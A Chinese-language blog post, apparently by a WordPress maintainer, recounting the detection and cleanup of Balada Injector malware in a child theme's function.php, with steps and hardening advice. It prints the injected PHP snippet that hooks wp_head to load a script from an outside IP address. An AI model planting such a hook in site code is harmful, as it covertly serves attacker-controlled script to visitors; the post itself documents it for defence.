資安處理案例:依維護報告來偵察、清除 WordPress 網站的 Balada Injector 惡意軟體

已排程的資安掃描偵測到惡意軟體,導致網站加載未經授權的外部JS。本案例研究分享了調查過程和步驟,以清除受到 Balada Injector惡意軟體影響的子佈景主題的 function.php 中所發現的惡意代碼片段。有趣的是,Sucuri 有識別出這個問題,但特別追加再掃描測試的 Wordfence 則未能發現問題。

事件開端

Status:

  • 根據網站原本已預先規劃運作的維護報告,每日安全漏洞與資安狀態掃描,顯示出檢測到了有惡意軟體的狀況。
  • 這導致一個外部 JS 資源 “https://147.45.47.87/scripts/theme.js” 被額外加載,並在前端的幕後企圖連至 StickyADS.tv Ad (ads.stickyadstv.com)。

啟動調查

  1. 首先,當然是完整的備份
  2. 以 SSH 使用文字指令,列出根據維護報告中顯示的日期的前後一天內被修改的檔案。
  3. 先辨別出,修改日期在 4 月 3 日檔案,且在全站更新後,修改日期仍未被改變 (未被覆蓋更正) 的檔案。
  4. 發現在子佈景主題中 (通常在更新時不會被覆蓋) ,在檔案中多了一段額外的代碼片段會呼叫外部 JS: function.php
/* Theme statistics function */

function wptheme_stat() {

?>

<script async src="https://147.45.47.87/scripts/theme.js"></script>

<?php } &#x200B; add\_action("wp\_head", "wptheme\_stat");
  1. 清除所有快取並重新掃描,直到從每個資安服務商的檢測標準下,都顯示為 “已驗證乾淨正常” 的檢測結果。

建議與改進

  1. 定期備份網站
  2. 保持佈景主題與外掛至最新版
  3. 使用來源受信任的 WordPress 佈景主題與外掛
  4. 使用高強度密碼
  5. 為所有使用者啟用 2FA 雙因驗證登入機制
  6. 導入可靠的惡意軟體掃描工具或服務

提醒

在這個案例中,我順便在測試環境中嘗試使用了幾款安全外掛,包括 Wordfence ,但都未能識別出問題,更不用說要幫忙抓出受影響的檔案了。

Sucuri 是在這其中,唯一能藉由他們的線上服務或外掛來識別到這個問題的資安服務商。這結果顯示出,Balada injector 惡意軟體是不容易被查覺、檢測出來的。 做得好,Sucuri!

QR Code to This Article

QR:  資安處理案例:依維護報告來偵察、清除 WordPress 網站的 Balada Injector 惡意軟體

Green Yang
Green Yang

Brand, Jazz, WordPress. Come on in! Here are my own 3 websites and IG for career and for fun!
品牌, 事業, 網站, 爵士,歡迎來逛逛我的三個網站與一個 IG ,有正經有趣味喲! - https://linktr.ee/gjazz

文章: 60

歡迎留言

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料